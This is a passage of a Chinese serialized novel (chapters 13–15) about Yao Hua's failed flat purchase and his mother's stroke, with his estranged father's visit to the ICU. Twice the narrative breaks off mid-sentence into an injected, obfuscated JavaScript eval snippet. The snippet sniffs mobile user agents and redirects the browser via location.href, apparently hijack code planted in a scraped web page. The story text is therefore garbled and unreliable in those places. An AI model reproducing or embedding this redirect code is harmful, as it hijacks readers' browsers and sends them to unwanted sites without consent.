而他能做的,只是接着剥蒜。一层,又一层。剥开贫穷,剥开耻辱,剥开那些说不出口的苦楚,剥到最后,也许能看见一点点白生生的、辛辣的、但真实的东西。 这就够了。真的。辣归辣,它提神,也杀菌。 13. 第十三章 海市蜃楼 姚华在市中心扑腾了五六年。工作像走马灯,从中亚数据的代码,跳到电商平台的订单,又蹦到物流系统的货车调度。换来换去,每月十五号那张工资卡倒总按时响动——钱不多,像护城河的水,浑是浑点,却从不干涸。 日子本可以这般不咸不淡地淌下去。偏偏这天饭桌上,张玉芬扒拉着碗里的米粒,像是随口一提:“华子,咱看看房子去?” 姚华的筷子在半空停了停:“看什么房子?” “就看看。”张玉芬头也没抬,“不买,光看看。” 这一看,就看进了北郊区政府的眼皮底下。新办公楼亮得晃眼,像枚刚擦过的银元。旁边的售楼处更亮,玻璃幕墙把人影切成三截。姚华眯着眼踏进去,大理石地面光可鉴人,他低头瞧见自己鞋尖上的泥痂——昨儿下雨沾的,干了,硬邦邦地贴着。 售楼小姐的套装掐得恰到好处,笑容像是拿熨斗烫过的。那支激光笔的红点在沙盘上跳舞:“韵海雅园,区政府重点配套,限价房。”声音甜得发腻,“您看这绿化,百分之四十呢。” 沙盘做得可真讲究。小树是染绿的塑料丝,水池铺着蓝玻璃碴,还闪着细碎的光。小楼排得整整齐齐,窗户只有芝麻大,窗框线条却一根是一根。姚华盯着看,忽然想起小时候的积木——也是这般齐整,轻轻一推,哗啦啦全散了架。 张玉芬伸手想摸沙盘边沿,指尖刚探出去,售楼小姐轻咳一声:“阿姨,咱上样板间瞧瞧?” 样板间在二楼。门一开,新家具的气味扑面而来,塑料和胶水混在一块儿。张玉芬走得慢,布鞋踩在木地板上,没半点声响。她先摸了摸餐桌——实木的,木纹一道一道。又摸了摸沙发——绒面的,软得能陷进半个身子。最后停在大理石台面前,手指在上面来回滑动。 “这石头滑溜。”她说。 售楼小姐笑:“进口大理石,您摸摸这质感。” 张玉芬真又摸了一遍。手指粗,关节大,指甲缝里还留着洗不掉的蓝——那是捆书用的塑料绳染的。大理石冰凉,光滑得像剥了壳的煮鸡蛋。她摸得仔细,像在抚摸刚满月的孙儿的脸。 “朝南的哪套?”姚华问。 激光笔又亮了,红点停在一栋楼上:“9号楼,801。正南向,全天采光。”她顿了顿,“这套俏,今儿已经有三拨人问过了。” 姚华掏出手机算。公积金贷、商业贷、首付比例,数字在屏幕上跳跃,像在跳一支复杂的舞。张玉芬凑过来看,老花眼得眯成两道缝。 “一月还多少?” “两千四。” “哦。”张玉芬点点头,又摇摇头,“不少。” 从售楼处出来,日头已经偏西。姚华手里多了一沓纸:户型图、价目表、贷款须知。纸厚实,印得精致,攥在手里沉甸甸的。张玉芬把宣传册翻来覆去地看,封面上印着效果图——蓝天白云,绿草如茵,母子俩笑得见牙不见眼。 “真好看。”她说。 “假的。”姚华说,“盖好了不定啥样。” 张玉芬又瞅了一眼:“假的也好看。” 公交车晃晃悠悠往回走。车上人不多,有个老太太拎一篮鸡蛋,搁腿上用手护着。姚华看着那篮鸡蛋,忽然想,买房是不是也这样——小心翼翼护着,该碎时还得碎。 接下来一星期,姚华开始跑材料。收入证明、社保记录、纳税清单……这些纸在小桌上一字排开,像摆开一副扑克牌。张玉芬帮他整理,手指划过那些公章——红的,圆的,像一个个句号。 “这个章盖歪了。”她说。 “没事,能用就行。” 偏偏就栽在这“能用就行”上。房管局办事的是个半秃顶的中年男人,眼镜片厚得像酒瓶底。他把材料翻一遍,又翻一遍,手指在某页上敲了敲。 “这儿不对。” “哪儿?” “纳税记录。”男人推推眼镜,“系统显示,2011年7月,中亚数据给你报的收入是一万二。” 姚华愣了:“我那时工资才三千。” “系统就这么记的。”男人声音平淡得像在说今儿天气不错,“而且那个月你没交税。零申报。” “可我压根不知道……” “材料先搁这儿吧。”男人把那一摞纸往边上一推,“核实了再说。” 核实核实,一核就是三个月。姚华跑了七趟房管局,三趟税务局,还去了趟原公司——公司早搬了,原址成了火锅店。他站在火锅店门口,闻着里头飘出来的麻辣味儿,忽然想笑。生活就是这样,你想找的找不着,不想闻的偏往鼻子里钻。 张玉芬每天问:“有信儿没?” 姚华每天答:“还没。” 问和答越来越短,像在发电报。到后来,张玉芬不问了,姚华也不答了。娘俩坐在小屋里,一个看书,一个看电视。电视是二手市场淘的,图像时不时跳一下,人脸拉长又压扁,像照哈哈镜。 第四个月,姚华终于在房管局走廊里堵到了关键人。姓刘,是个科长,正要下班。姚华跟在他后头,从三楼跟到一楼,又从一楼跟到停车场。刘科长开辆白色轿车,车身上全是划痕,像被野猫挠过。 “刘科长。”姚华喊了一声。 刘科长回头看他,眼里没惊讶,只有疲惫。这种眼神姚华熟——在那些跑衙门跑麻木了的人脸上,在那些等得太久的人脸上,在自个儿照镜子时。 “啥事儿?”刘科长问,手里攥着车钥匙。 姚华用三分钟讲完了自己的事。没添油没加醋,像报菜名似的,时间、地点、事件,一样样报。讲到前公司虚报收入那段,他顿了顿:“我压根不知道有这回事。” 刘科长没说话。从口袋里摸出烟,点上,抽了一口。烟雾在暮色里散开,淡淡的青。他抽得慢,一口,两口,三口。烟头的红光明明灭灭。 停车场里静得很,只有远处马路的车流声。偶尔有下班的人经过,皮鞋敲在地上,哒哒哒。 一支烟抽完了。刘科长把烟蒂扔地上,用脚碾灭。 “材料重做吧。”他说,“我打个招呼。” “那房子……” “先重做材料。”刘科格拉开车门,又回头瞅了姚华一眼,“小伙子,有些事,赶不上就是赶不上。就像这班车,”他指指,“错过了,等下一班。” 车门关上。发动机响,尾灯亮起红。白色轿车慢慢开出停车场,拐个弯,不见了。 姚华站在原地,站了很久。直到停车场管理员过来问:“同志,找谁?” “不找谁。”姚华说。 走回去时,天已经黑透了。路过一处工地,塔吊上的灯亮着,像悬在半空的星星。工人还在干活,敲敲打打的声音在夜里传得很远。 第二天,姚华去房管局补了最后一份材料。盖章时,工作人员使了大劲儿,“咚”一声,特别响。那个章盖得特别正,特别圆,红艳艳的,像过年贴的窗花。 从房管局出来,姚华给售楼处打电话。接电话的还是那个声音甜的小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119420|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “9号楼801还在吗?” “哎呀不好意思先生,那套昨儿刚卖掉。” “那……朝南的还有吗?” “朝南的都没了。现在只剩朝西朝北的,楼层也不太好。”小姐声音还是那么甜,“要不您来看看?其实朝西的也不错,下午有太阳。” 姚华挂了电话。他站在街上,日头很好,照在身上暖洋洋的。他想起来沙盘上那些小房子,想起来样板间的大理石台面,想起来母亲摸台面时的眼神。 然后想起来刘科长的话:有些事,赶不上就是赶不上。 就像小时候,他想要本新《新华字典》,等攒够钱,字典涨价了。就像高考,他想报计算机,等分数出来,分数线涨了。就像现在,他想买套朝南的房子,等资格办下来,房子卖完了。 生活老在涨价。而他老攒不够钱。 回到家,张玉芬正在择韭菜。韭菜新鲜,绿油油的,根上还带着泥。她择得仔细,一根一根,把黄叶子去掉。 “咋样?”她问,没抬头。 “办好了。”姚华说,“可房子没了。” 张玉芬手停了停,接着择。“没了就没了。”她说,“反正也贵。” “嗯。” 晚上吃韭菜盒子。张玉芬煎得两面金黄,咬一口,油滋滋的。姚华吃了三个,第四个吃到一半时,忽然说:“妈,我会买上房子的。” 张玉芬正在盛粥,勺子碰在锅沿上,当的一声。“买不上也没事。”她说,“租房子也挺好,想搬就搬。” “我想买。” “买啥样的?” “朝南的。”姚华说,“大理石台面的。” 张玉芬笑了,笑得眼角皱纹挤作一堆。“那得不少钱。” “我会挣。” 这话说出口,姚华自个儿都觉得虚。像吹了个肥皂泡,看着漂亮,一碰就破。可他还是说了,而且说得挺大声,像要说服谁似的。 窗外传来教堂钟声,当当当,敲了八下。鸽子大概都回窝了,今晚特别静。 姚华洗完碗,坐在小桌前。他把房管局那摞材料拿出来,一张张看。收入证明、社保证明、纳税记录……纸上的字齐齐整整,公章红红艳艳。样样合规定,处处合程序。 可房子没了。 他把材料收起来,塞进抽屉最里头。抽屉有点卡,他使了三次劲才推上。 生活大概就是这样——你按部就班走完所有程序,以为终于能拿到那个小红本了,一抬头,发现终点线让人挪走了。挪得不远,就一丁点儿,刚好够不着。 可你还得接着走。因为除了走,你也不会别的。 张玉芬在屋里哼歌,不成调,就随口哼哼。姚华听了一会儿,听出来是《茉莉花》。她哼得轻,断断续续的,像风里飘的蒲公英。 明天还得上班。明天还得继续。明天兴许有别的楼盘,别的机会,别的盼头。 兴许没有。 可今儿晚上,至少还有韭菜盒子的香味,还有母亲不成调的哼唱,还有抽屉里那一摞厚厚的、盖满了红章的材料。 这就够了。对姚华来说,活人从来不是拥有什么,而是相信明天还能接着相信。 他关了灯。黑暗漫进来,温柔得像床棉被。 睡着前,他最后想了一遍那个沙盘。那些小房子,那些蓝玻璃做的水池,那些塑料丝做的小树。 真讲究啊。 讲究得像一场人人都信、却谁也住不进去的梦。 14. 第十四章 未完的账 张玉芬发病那天,星期二。天气预报说了四个字:“多云转阴”。这话跟没说一样。天晴天阴,人该出门还得出门,日子该过还得过。 她照例要去长江道图书批发市场。凌晨四点半,屋里还黑着。先掏那个折叠小推车,拉开,“咔哒”一声锁紧。车是铁管的,蓝漆掉得斑斑驳驳,推起来右边轮子有点歪,一路“咯噔咯噔”,像自个儿给自个儿报数。车上捆了两个大包袱皮,一红一绿,洗得发白。现在瘪着,等回来就得塞满书,鼓得像俩吃撑了的肚子。 五点十分出门,地藏庵大街的路灯还黄蒙蒙地亮。推车声在静夜里格外响,“咯噔,咯噔”,一步是一步的数。走到公交站,头班车刚好来。车停稳,门“哧啦”一声——麻烦就从这儿开始了。 张玉芬先把小推车往踏板上推。轮子卡在台阶缝里,得弯下腰,两手抓住车架,使劲一提。膝盖“咯吱”一声,她吸了口凉气。上了踏板,还得把车往里拖。车厢里空荡荡,就两个早起的老人。司机从后视镜里看她,开了口: “你这车……占地方啊。” 张玉芬没吭声,从兜里摸出两个一元硬币,“叮当”两声扔进票箱。像投了两个问路石,没听见回响。司机又说:“按规定,你这算大件行李,得再买一张票。” 这话张玉芬听过八百六十遍了。她低着头,把小推车推到后门边的空地,用腿抵住,不让它滑。然后从怀里掏出那个磨得发亮的月票卡,在读卡器上贴了一下。“滴”一声。 司机从镜子里看她,她也从镜子里看司机。两人都没再说话。过了半晌,司机扭回头,嘟囔了一句:“每次都这样。” 车开了。张玉芬扶着栏杆站稳。窗外的街景一点点亮起来,像显影液里慢慢浮出的人脸。她知道司机说得对,按规定是该再买一张票。可规定是规定,日子是日子。一张票两块钱,来回四块。一个月二十多个来回,就是一百来块。一百来块能买三十斤面条,能交半个月的水费,能给姚华添件打折的汗衫——汗衫也是衣裳,能遮体,能挡风。 这脸皮不是天生就厚。是日子一天天磨出来的,像河底的石头,磨圆了,磨滑了,也磨硬了。刚开始她也脸红,也小声解释“就一点书,不占地儿”。后来发现脸红没用,解释也没用。你不掏这两块钱,人家就说你;你掏了,自己心里疼。最后索性不说了,该干嘛干嘛。你嘟囔你的,我站我的。穷到一定份上,脸皮就成了一层茧,厚实,耐磨,挡风挡雨还挡闲话。闲话这东西,听多了也就那么回事,又不能当饭吃。 到市场时天刚蒙蒙亮。老陈的摊位在最里头,要穿过长长一条通道。两边的摊位还蒙着防雨布,像一排排睡着的巨人。她推着小车,轮子声在空旷的市场里回响,“咯噔,咯噔”,像唯一的活物在走夜路。 老陈正在卸货,看见她,抹了把额头的汗:“张姐,真准时。”说着从车上搬下一箱《黄冈密卷》,纸箱落地“砰”一声,扬起一片灰,像下了一场微型雾。 “新到的,厚。”老陈撕开胶带,抽出一本。书脊确实厚,抵得上半块砖。封面红得扎眼,“最新修订”四个字烫着金边,在节能灯下反着光,光里都透着一股子累。 张玉芬接过来掂了掂,没说话。沉不沉都得进,学生要,学校要,考试要。她蹲下身,开始一本本数。数好了,在账本上记数字。字写得大,一板一眼,像小学生描红——她这辈子就认这个,一笔是一笔,一画是一画。 七点半,市场活过来了。人声、车声、卸货声混成一片,像一锅突然煮开的水。张玉芬把挑好的书分两摞,用红绿包袱皮包好,十字交叉捆在小推车上。绳子勒得紧,书被挤得变了形,看着都喘不过气。 推车出市场有一段上坡。平时她能一口气上去,今天推到一半,觉得不对劲。先是眼前飞起几只黑点子,忽闪忽闪,像夏天雨前的蠓虫。她停下,喘口气,以为是没吃早饭。可再推时,右胳膊忽然使不上劲了,像不是自己的,是借来的,到点得还。接着半边身子发麻,从肩膀麻到手指头,像通了电,还是断断续续的那种。 卖煎饼的大姐正摊面糊,瞥见她停在那儿,喊了一嗓子:“张姨,歇会儿啊?” 张玉芬想应一声,嘴张开了,却发不出声。舌头在嘴里打着卷儿,不听使唤,像条离了水的鱼。她想抬手摆摆,示意没事,可胳膊抬到一半,软软地垂下来,像根煮过头了的面条。 这时更怪的事来了。她看见煎饼摊的招牌在晃,不是风吹的那种晃,是整个画面在晃,像隔着一层晃动的水。大姐的脸也变得模糊,嘴巴一张一合,声音却遥远得很,隔山隔海似的——山是书山,海是题海。 她想扶住小推车,手摸过去,摸了个空。其实车就在那儿,可她判断不了距离。眼前的东西都在,可位置全乱了套,像被人胡乱推了一把的积木。 “哎,张姨?”大姐放下铲子,从摊位后绕出来。 张玉芬想往后退一步,腿一软,整个人就往下坐。不是摔倒,是瘫下去,像一袋突然散了架的粮食。屁股先着地,不疼,只是震了一下,震得心里空荡荡的。接着上半身也倒下去,侧躺着,脸贴着冰凉的水泥地。地真凉啊,凉气顺着脊背往上爬,爬得比她的念头还快。 小推车还立在旁边,两个包袱鼓鼓囊囊的,俯视着她。书不说话,书只是看着。 “哎哟!这是咋了?”煎饼大姐的声音真真切切响在头顶。 接着是杂沓的脚步声。一双旧皮鞋停在她脸前,鞋头开裂了,露出里面的灰袜子。是个男人的声音:“咋躺地上了?喝多了?” “大早上的喝什么酒。”另一个女声,尖细,像锥子,“脸咋歪了?你看她这嘴……” 张玉芬想说话,想说我没喝酒,我就是有点晕。可嘴里只能发出“嗬……嗬……”的声音,像破风箱在拉。右半边脸贴在地上,左半边脸朝着天。她能看见一片长方形的天空,灰蓝色,有云慢慢飘过去,云也不急,云有的是时间。 人越围越多。腿,很多腿。牛仔裤,西装裤,花裙子,塑料凉鞋。有个穿校服的小女孩蹲下来,声音嫩嫩的:“奶奶,你疼吗?” 张玉芬眨眨眼。她想说不疼,就是动不了。可话卡在喉咙里,变成一口上不来也下不去的气。 “是不是中暑了?”有人说。 “不像,中暑脸不歪。” “打120吧?谁有手机?” “打了打了,刚打过。” 有个戴金链子的男人挤进来,嗓门很大,像自带喇叭:“都让让!堵这儿干啥?会不会是癫痫?”说着就要来扳张玉芬的肩膀,“得让她侧躺,别噎着!” 煎饼大姐拦住他:“你别乱动!万一是心脏的问题,不能乱动!” 金链子男人讪讪地缩回手:“我这不是好心嘛。” 张玉芬躺在地上,地很凉,凉气已经爬满了全身。她忽然想起姚华小时候发烧,她整夜用毛巾给他擦身子。那时候姚华的小脸通红,嘴唇干得起皮,她就蘸了温水一点点润。现在轮到她躺在这儿,身边围着一圈陌生人,吵吵嚷嚷,像在讨论一件破损的家具——家具破了还能修,人破了,不知道找谁修。 远处传来救护车的声音,呜呜的,越来越近,像在哭。有人喊:“来了来了!让条道!” 穿白衣服的人蹲下来,翻她眼皮,拿小手电照。光刺眼,她闭上眼。闭眼之前,看见光里飞舞的灰尘,原来光里也有这么多乱七八糟的东西。 “家属呢?有家属吗?” 煎饼大姐说:“她常在这儿摆摊,好像有个儿子……” “手机,她身上有手机吗?” 有人从她怀里掏出那个布包,翻出个老式诺基亚。绿色的屏幕,边角磕掉了一块漆,像她的人生,也缺了一角。 “最近通话……这个,‘华子’,打这个。” 电话拨通了。张玉芬听见听筒里传来姚华的声音:“喂?妈?” 她想应,可喉咙里只发出嗬嗬的响声,像风吹过破窗户纸。 穿白衣服的人对着电话说:“你是张玉芬家属吗?你母亲在二中门口晕倒了,情况不太好,我们要送她去第四医院……” 后面的话张玉芬没听清。她被抬上担架,抬起来时,世界颠倒了。天空到了脚下,地面到了头顶。她看见自己的小推车还立在路边,两个包袱歪歪斜斜的,像两个没人要的孩子,在风里站着,等着。 担架推进救护车,门关上的瞬间,她看见煎饼大姐弯腰捡起了什么——是她那顶浅灰色的帽子,上面的小向日葵沾了土,黄得有点黯淡,像过了季节的花。 车开了。□□在转,光影在车厢里扫过来,扫过去,扫得人心里乱。医生在填单子,钢笔尖划在纸上,沙沙的,像下小雨。张玉芬看着车顶,白色的铁皮,有些锈迹,锈迹像地图,不知道通向哪里。 她忽然想,今天进的这些卷子,怕是卖不了了。明天要是还下雨,书该受潮了。受潮的书卖不上价,卖不上价就亏本,亏本就白干了。 穷人的脑子就是这样,到了这时候,算的还是这些鸡毛蒜皮。不是不算大账,是大账算不起,只能算小账。小账一笔笔摞起来,就是一辈子。一辈子能有多重?有时候就是一车书的重量,推起来咯噔咯噔响,但你不能停,停了,车就倒了。 医院里,账还没完。 急救楼道里,姚华握着母亲的手,那手凉得像井水,握久了,自己的手也跟着凉。他想说“书车都好好的”,可话堵在喉咙里,变成一阵哽咽。哽咽这东西,上不来下不去,最噎人。护士走进来,探视时间到了。 “家属先出去吧。”护士的声音平板,没有不耐烦,也没有温度,只是陈述一个规则,像念药瓶上的说明书,“ICU有固定探视时间。” 姚华松开手,张玉芬的手指动了动,轻轻勾了他一下。很轻的一下,像羽毛扫过,但他感觉到了。他点点头,退到门外。那扇厚重的门缓缓关上,将母亲和那些嘀嗒作响的仪器留在另一个世界。门里门外,两个世界,中间就隔着一层铁皮,一层玻璃,却比什么都远。 走廊里弥漫着消毒水和一种难以言喻的沉闷气息。几个家属或坐或蹲,脸上是如出一辙的疲惫和茫然。姚华在靠墙的塑料椅上坐下,骨头缝里都透着酸。这才想起来,从昨天中午到现在,他没吃一口东西,没合一眼。不觉得饿,也不觉得困,整个人是空的,被一场突如其来的暴雨冲刷得干干净净,只剩下一副沉重的躯壳。躯壳还得用,还得跑腿,缴费,签字,说“是”或者“不是”。 就在他盯着对面墙上“静”字出神时——医院最爱贴这个字,可医院最静不下来——余光瞥见走廊尽头出现个人影。那人走得慢,一步一探,像是走不惯这光洁的瓷砖地,也像是怕踩响了什么。姚华起初没在意,医院里走路慢的人多了。直到那人越走越近,停在了他面前,投下一片影子。 是姚建国。 姚华有好些日子没见他了。猛一看,竟有些生分。姚建国还是那副样子,又好像完全不是那副样子。他顶着一头灰白相间的头发,留着一个盖儿头。这发型让姚华莫名想起以前录像厅里看过的香港电影里一个叫“八两金”的演员——不是说长相像,是那种被生活揉搓过后,五官仿佛都有些移位、凑在一起显得格外愁苦的劲儿像。他穿了件分不清原本是蓝色还是灰色的旧夹克,拉链坏了,用别针别着。脚上是双军绿色胶鞋,鞋帮裂了口,露出里面深色的袜子。他没提东西,两手空空,就那么在姚华面前站着,喘着气,额头上有一层细密的汗珠——看来又是一路走过来的。从他们家那片老城区走到环湖医院,少说也得两个多钟头。两个多钟头,够想很多事,也可能什么都没想,只是走,走着走着就到了。 父子俩对视了几秒,谁也没先开口。空气凝固了,像冻住的猪油。最后还是姚建国挪开视线,看向ICU紧闭的门,喉结动了动,像咽下了一口很干的东西:“你妈……在里面?” “嗯。”姚华应了一声,像扔出一块小石子。 “咋样了?” “手术做了,还没脱离危险。”这话像背书,已经说了太多遍。 姚建国“哦”了一声,声音干巴巴的,像晒裂的豆荚。他在姚华旁边的空椅子上坐下,不是放松地坐,是只坐了半个屁股,腰板挺着,两只手撑在膝盖上,指关节粗大,指甲缝里嵌着洗不掉的黑色,那是日子染上去的。他身上有股汗味、烟味和一种老房子潮湿木头混合的气味,这气味姚华熟悉,是记忆里的父亲味。 “你咋来的?”姚华问。他知道问也是白问。 “走来的。”姚建国果然这么答,眼睛依旧盯着ICU的门,好像能盯穿似的。“听到信儿,就来了。”他没说怎么听到的信儿,可能是邻居,可能是哪个还在来往的远亲。他没有手机,也不给人打电话,消息总是这么拐弯抹角、姗姗来迟,像过时的新闻。 又是一阵沉默。走廊那头有个女人在低声啜泣,声音压抑着,像漏气的风箱,一抽一抽的。 “医生怎么说?”姚建国又问,还是那个问题,好像多问一遍,答案就能好一点似的。 姚华把跟医生说过的话又重复了一遍:出血量、手术、可能的偏瘫失语。姚建国听着,脸上没什么表情,只是撑在膝盖上的手,慢慢握成了拳,青筋绷起来,像几条挣扎的蚯蚓。 “得花不少钱吧?”他终于问到了这个。人到这一步,最后总得落到钱上,像水总要流到低处。 “押金交了一万,手术费还不知道,ICU一天好几千。”姚华的声音很平,像在念一张与他无关的清单,清单上的数字冷冰冰的,不帶感情。 姚建国没接话。他低下头,看着自己裂口的胶鞋尖,好像鞋尖上能看出答案。他从夹克内袋里摸索了半天,掏出一个洗得发硬、边缘脱线的旧手帕包。手帕捆得紧紧的,他笨拙地解开,里面露出卷得皱皱巴巴的几十块钱。有一百的,有五十的,更多的是十块五块,甚至还有几张一块的毛票,像一群面值不同的散兵游勇。他拿起那卷钱,手指有些抖,递过来:“就……就这些,你先拿着。” 那卷钱很薄,撑死了也就三四百块。卷得紧,显得更瘦。姚华没接。他看着父亲那张被日光和酒精过早侵蚀的脸,沟壑纵横,像被雨水冲坏了的田埂。忽然觉得心里堵得慌。不是生气,不是埋怨,是一种更复杂、更无力的东西,像一团浸了水的旧棉絮,沉甸甸地压在胸口。这点钱,在医院里,连一天的床铺费都不够,连一针好点的药都买不起。 “你自己留着吧。”姚华说。 姚建国的手在半空中僵了一下,随即像被烫到似的缩了回去,脸一下子涨红了,红里透着紫。“你看不起这点钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119421|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”他的声音陡然拔高,带着一种受伤的、虚张声势的恼怒,可底气不足,听起来像破锣,“我是她男人!我该……” “该什么?”姚华打断他,声音不高,但很冷,冷得像冬天的铁栏杆,“该出钱?你出得起吗?该出力?你能干什么?签字?跑腿?还是能在这儿守夜?” 姚建国被他问得哑口无言,脸上的血色褪去,变得灰败,像燃尽的煤灰。他攥着那卷钱,手指关节捏得发白。是啊,他能干什么?他一辈子没管过家,没挣过大钱,出了事只会喝酒骂人,骂天骂地骂命,就是没骂过自己。现在老婆躺在里面生死未卜,他走了两个多小时赶来,掏空了口袋也只有这皱巴巴的几百块。他连怎么跟医生说话都不知道,连医院的缴费窗口在哪都找不着。他是个没用的人,姚华没说错。话难听,但是实情。 那点虚张的气势瘪了下去,他重新佝偻起背,把手帕和钱胡乱塞回口袋,动作仓惶,像在藏一件赃物。不再看姚华,也不再看ICU的门,就那么盯着地面,像一尊突然失去所有力气的泥塑,只剩下一个空壳子。 姚华别过脸,看向窗外。天阴着,灰蒙蒙的,又要下雨的样子。雨总是下不完,就像麻烦总是没个尽头。 过了好一会儿,姚建国才又动了动,他站起来,动作迟缓,像生了锈。声音低沉,几乎听不清:“我……我去外头转转。” 他没说去哪儿,也没说还回不回来。姚华也没问。看着他有些踉跄地走向走廊尽头的背影,姚华心里那点堵,慢慢化开,变成一片空茫茫的凉。凉意从脚底升起来,漫到全身。 下午,护士送来一叠单据。缴费通知,药品清单,耗材明细。数字密密麻麻,后面的零看得人心惊肉跳,像一群张着嘴的蝌蚪。预交的一万块,像扔进沙漠的一杯水,瞬间就见了底,连个湿印子都没留下。催款单上盖着红色的“急”字章,红得刺眼,像伤口。 姚华拿着单子下楼,找到住院缴费处。窗口前排着不长的队,每个人脸上都写着愁苦,愁苦也是分门别类的,有的深些,有的浅些,但底色都一样。轮到他的时候,他把父亲给的那卷钱和自己卡里最后的两千多都递了进去。收银员敲打着键盘,眼皮都没抬,仿佛递进来的不是钱,是一叠废纸。“还差得远,家属尽快续费,不然有些药和治疗就要停了。” 这话说得平平淡淡,却像一把钝刀子,慢慢地割在心口上。不一下子见血,就是疼,闷闷地疼。姚华点点头,说不出话。话在钱面前,最没用。 他开始打电话。通讯录翻了一遍又一遍,能开口的人不多。关系近的,知道他家境的,不等他说完就叹气,那叹气声透过电话线传过来,沉甸甸的。有的转来一千两千,数目后面跟着一句“先应应急”。有的说手头紧过两天看看,这“过两天”就像天上的云,不知道飘到哪里去。关系远的,听他吞吞吐吐地说“母亲重病”,客套的安慰之后,便是委婉的推脱,推脱得很有技巧,让你挑不出理。世界忽然变得很现实,情分都标着价码,而他的价码,显然不高。不高,就得受着。 傍晚时分,戴经理又打来电话。这次语气缓和了些,问了问病情,然后说公司有规定,事假超过三天要扣发当月奖金,让他有个心理准备。姚华对着电话说“谢谢经理关心”,声音干巴巴的,像晒干的橘子皮。扣奖金?他现在想的已经不是奖金,而是下个月的房租和母亲的后续治疗费。生活像一张不断收紧的网,网眼越来越小,他这条鱼,扑腾得越来越吃力。 天再次黑透,黑得实实在在。姚建国没有再出现,也没有任何消息。姚华不知道他去了哪里,或许在某个便宜的录像厅蹲一夜,看那些过时的打打杀杀;或许就在医院附近哪个桥洞下蜷着,数着过往的车灯。他们父子之间,从未学会如何在这种时刻相互依偎,连最基本的“在一起”都显得多余而尴尬。有些关系,坏了就是坏了,像摔碎的碗,即使用胶粘起来,裂缝也永远在那里,一碰水就知道。 探视时间又到了。姚华穿上隔离衣,戴上口罩帽子,再次走进ICU。母亲似乎比上午更清醒了些,看见他,左眼(右眼仍然有些呆滞)跟着他转。她身上插着的管子似乎少了一两根,但监护仪屏幕上的曲线和数字依然令人心慌,那些跳跃的线条和闪烁的数字,是母亲生命的另一种语言,他看不懂,只能猜。 姚华握住她的手,轻轻捏了捏。“爸来了,又走了。”他低声说,也不知道为什么要告诉母亲这个。也许只是想找句话说,也许觉得这事母亲该知道。 张玉芬眨了眨眼,眼神里看不出什么情绪,或许早已习惯。习惯了一个人的来来去去,习惯了指望不上,也就谈不上失望。 “钱的事你别操心,有我。”姚华又说,这话说得很虚,像飘在空中的肥皂泡,五彩斑斓,但一戳就破。可他必须说,不说,母亲更慌。 张玉芬的嘴唇嚅动了几下,发出极轻微的气音,像叹息。姚华俯下身,把耳朵凑近。 “……车……书……” 还是惦记这个。到这时候了,魂都飘出去半截了,惦记的还是那车书。姚华鼻子一酸,眼眶热了一下,又被他硬生生憋回去。“明天,明天我就去把车和书推回来,你放心。”他做出承诺,尽管这承诺轻飘飘的。 张玉芬似乎松了口气,眼皮微微耷拉下去,像是累了,也像是完成了什么要紧的交接。 走出ICU,姚华靠在冰冷的墙壁上。墙壁的白,是那种毫无生气的、消毒过的白。明天。他必须去一趟二中门口。母亲的小推车和那两包袱书,还在那里。那是母亲的全部营生,是她起早贪黑的见证,也是她倒下时最割舍不下的东西。他得去收拾回来,像个收拾残局的人。残局也是局,总得有人收拾。 深夜的医院走廊并不安静,偶尔有急促的脚步声,有推床轮子滚过的声音,有压抑的哭泣声。姚华在椅子上蜷缩着,闭着眼,却毫无睡意。脑子里是乱麻一样的数字、单据、母亲的病容、父亲那张灰败的脸和那卷皱巴巴的零钱、还有那辆歪轮子的蓝色小推车。这些东西搅在一起,搅拌机似的,搅得他脑仁疼。 生活这场暴雨,从来不会只下一阵。它把你淋透,让你狼狈不堪,然后冷风吹过,让你彻骨生寒。而你能做的,只是在暴雨间歇,拧一拧湿透的衣裳,辨认一下方向,然后继续深一脚浅一脚地,往前走。不能停,停了,就可能再也走不动了。 天快亮的时候,东边泛起一点鱼肚白。姚华站起身,活动了一下僵硬的四肢,骨头节“咔吧”响了两声,像老旧的木门。他决定现在就去二中门口。趁早晨人少,趁母亲惦记的东西还在那里,趁自己还能动弹——能动弹,就得去动弹。 他走出住院部大楼,清晨的空气冷冽而清新,带着雨后的土腥味,吸一口,肺里凉丝丝的。街上已经有了零星的行人和车辆,世界又开始慢慢苏醒。他打了个寒颤,紧了紧单薄的衬衫,朝着公交站走去。去二中该坐哪路车,他并不知道。但他知道,路总是能问到的。嘴不光用来吃饭,也用来问路。 就像生活,难题总是一个接一个,像地里的韭菜,割一茬长一茬。而走下去的办法,也只能是一个接一个地去找。问路,等车,投币,朝着母亲倒下的那个街角去。去把那些浸透了雨水和尘土的书,一本一本,捡回来。书湿了可以晒,人倒了,还得爬起来。账,总得一笔一笔算,哪怕永远算不完。 15. 第十五章 环湖十五日 环湖医院的ICU,设在外科楼五层。电梯门一开,那股味儿就顶得人一跟头。不单是消毒水,还搅和着药味、若有若无的血腥气,以及一屋子人憋着不吭声捂出来的、沉甸甸的“人味儿”。走廊长得望不见头,墙刷得白晃晃的,白得让人心里没着没落。尽头一扇厚门紧闭,红字写着“重症监护室”,底下跟了四个小字,像是怕你看不清:“家属止步”。 